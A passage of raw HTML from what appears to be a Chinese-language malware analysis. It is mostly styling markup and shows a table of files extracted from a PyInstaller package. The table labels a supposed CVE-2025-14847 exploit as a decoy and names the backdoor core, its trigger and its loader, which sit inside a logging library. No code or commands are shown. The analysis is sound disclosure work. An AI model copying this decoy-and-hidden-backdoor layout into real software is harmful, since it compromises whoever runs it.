Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">6. 全部模块文件清单</span></h2><p style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">从 PyInstaller 中提取的 84 个文件 + PYZ 中的 236 个模块：</span></p><table style="box-sizing: border-box;margin: 0px 0px 16px;padding: 0px;caption-side: bottom;border-collapse: collapse;empty-cells: show;overflow: auto;border-spacing: 0px;display: block;word-break: keep-all;width: 519px;color: rgb(62, 62, 62);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 16px;font-style: normal;font-variant-ligatures: no-common-ligatures;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><thead><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><th style="box-sizing: border-box;margin: 0px;padding: 6px 13px;text-align: -webkit-match-parent;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;font-weight: 600;"><p><span leaf="">文件/模块</span></p></th><th style="box-sizing: border-box;margin: 0px;padding: 6px 13px;text-align: -webkit-match-parent;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;font-weight: 600;"><p><span leaf="">大小</span></p></th><th style="box-sizing: border-box;margin: 0px;padding: 6px 13px;text-align: -webkit-match-parent;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;font-weight: 600;"><p><span leaf="">性质</span></p></th><th style="box-sizing: border-box;margin: 0px;padding: 6px 13px;text-align: -webkit-match-parent;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;font-weight: 600;"><p><span leaf="">说明</span></p></th></tr></thead><tbody><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">exploit.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">主入口</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">诱饵</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">CVE-2025-14847 EXP</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt/cryptography.so</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">~60KB</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">恶意</span></strong></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">C 扩展后门核心</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">slogsec/secure.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">触发器</span></strong></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">调用 </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">__slogsec_make_secure__</span></code></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">slogsec/__init__.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">模块导入</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">slogsec/log.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">日志封装</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">slogsec/decrypt.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">日志解密</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt/__init__.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><strong style="box-sizing: border-box;margin: 0px;padding: 0px;font-weight: bolder;"><span leaf="">加载器</span></strong></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">触发 .so 加载</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt/core.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">加密日志 Handler</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt/key_manager.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">密钥管理</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt/formatters.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">日志格式化</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt/filters.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">日志过滤器</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt/decrypt_log.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">日志解密</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">logcrypt/levels.pyc</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">--</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">日志级别定义</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">libpython3.12.so.1.0</span></code></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">运行时</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">Python 共享库</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(250, 251, 252);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">libssl.so.3</span></code><p><span leaf=""> / </span><code style="box-sizing: border-box;margin: 0px;padding: 0.2em 0.4em;font-family: mononoki, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Noto Color Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Android Emoji&#34;, EmojiSymbols;font-size: 13.6px;color: rgb(51, 51, 51);overflow-wrap: break-word;border: 1px solid rgb(240, 240, 240);border-radius: 3px;word-break: break-word;background-size: 20px 20px;white-space: pre-wrap;background-color: rgba(0, 0, 0, 0.03);background-image: none;"><span leaf="">libcrypto.so.3</span></code></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">运行时</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">正常</span></p></td><td style="box-sizing: border-box;margin: 0px;padding: 6px 13px;border: 1px solid rgb(223, 226, 229);word-break: normal;white-space: nowrap;"><p><span leaf="">OpenSSL</span></p></td></tr><tr style="box-sizing: border-box;margin: 0px;padding: 0px;border-top: 1px solid rgb(198, 203, 209);border-right-color: inherit;border-bottom-color: inherit;border-left-color: inherit;border-right-style: solid;border-bottom-style: solid;border-left-style: solid;border-right-width: 0px;border-bottom-width: 0px;border-left-width: 0px;background-color: rgb(255, 255, 255);"><td style="box-sizing: border-box;margin: 0px;padding: 6px 